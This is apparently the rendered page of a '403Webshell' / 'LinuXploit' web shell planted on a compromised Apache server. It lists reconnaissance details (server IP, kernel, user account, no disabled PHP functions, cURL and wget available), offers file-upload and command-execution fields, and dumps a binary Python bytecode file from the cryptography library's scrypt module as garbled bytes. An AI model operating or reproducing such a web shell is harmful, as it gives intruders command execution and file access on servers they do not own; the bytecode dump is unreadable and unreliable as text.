403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/scrypt.cpython-311.pyc
�

p�g���~�ddlZddlZddlmZddlmZmZmZddlm	Z	ddl
mZejdzZ
Gd�de��ZdS)	�N)�utils)�AlreadyFinalized�
InvalidKey�UnsupportedAlgorithm)�
constant_time)�KeyDerivationFunction�c
�`�eZdZ	ddedededededejfd�Zd	ed
efd�Zd	eded
dfd
�Z	dS)�ScryptN�salt�length�n�r�p�backendc�l�ddlm}|���std���||_tjd|��|dks||dz
zdkrtd���|dkrtd���|dkrtd	���d
|_||_	||_
||_||_dS)Nr�rz/This version of OpenSSL does not support scryptrr	�z-n must be greater than 1 and be a power of 2.z%r must be greater than or equal to 1.z%p must be greater than or equal to 1.F)
�,cryptography.hazmat.backends.openssl.backendr�scrypt_supportedr�_lengthr�_check_bytes�
ValueError�_used�_salt�_n�_r�_p)�selfrr
rrrr�ossls        �K/usr/lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/scrypt.py�__init__zScrypt.__init__s���	
�	
�	
�	
�	
�	
��$�$�&�&�	�&�A���
����
��6�4�(�(�(��q�5�5�Q�!�a�%�[�Q�&�&��L�M�M�M��q�5�5��D�E�E�E��q�5�5��D�E�E�E���
���
�������������key_material�returnc���|jrtd���d|_tjd|��ddlm}|�||j|j|j	|j
|j��S)Nz'Scrypt instances can only be used once.Tr$rr)rrr�_check_byteslikerr�
derive_scryptrrrrr)rr$rs   r!�derivez
Scrypt.derive;sw���:�	N�"�#L�M�M�M���
�
��~�|�<�<�<�H�H�H�H�H�H��$�$��$�*�d�l�D�G�T�W�d�g�
�
�	
r#�expected_keyc�x�|�|��}tj||��std���dS)NzKeys do not match.)r)r�bytes_eqr)rr$r*�derived_keys    r!�verifyz
Scrypt.verifyGsA���k�k�,�/�/���%�k�<�@�@�	3��1�2�2�2�	3�	3r#)N)
�__name__�
__module__�__qualname__�bytes�int�typing�Anyr"r)r.�r#r!rrs�������#� � �� �� ��	 �
� ��
 ��� � � � �D

�5�

�U�

�

�

�

�3�5�3��3�$�3�3�3�3�3�3r#r)�sysr4�cryptographyr�cryptography.exceptionsrrr�cryptography.hazmat.primitivesr�"cryptography.hazmat.primitives.kdfr�maxsize�
_MEM_LIMITrr6r#r!�<module>r>s����
�
�
�
�
�
�
�����������������
9�8�8�8�8�8�D�D�D�D�D�D�
�[�A�
�
�23�23�23�23�23�
"�23�23�23�23�23r#

Youez - 2016 - github.com/yon3zu
LinuXploit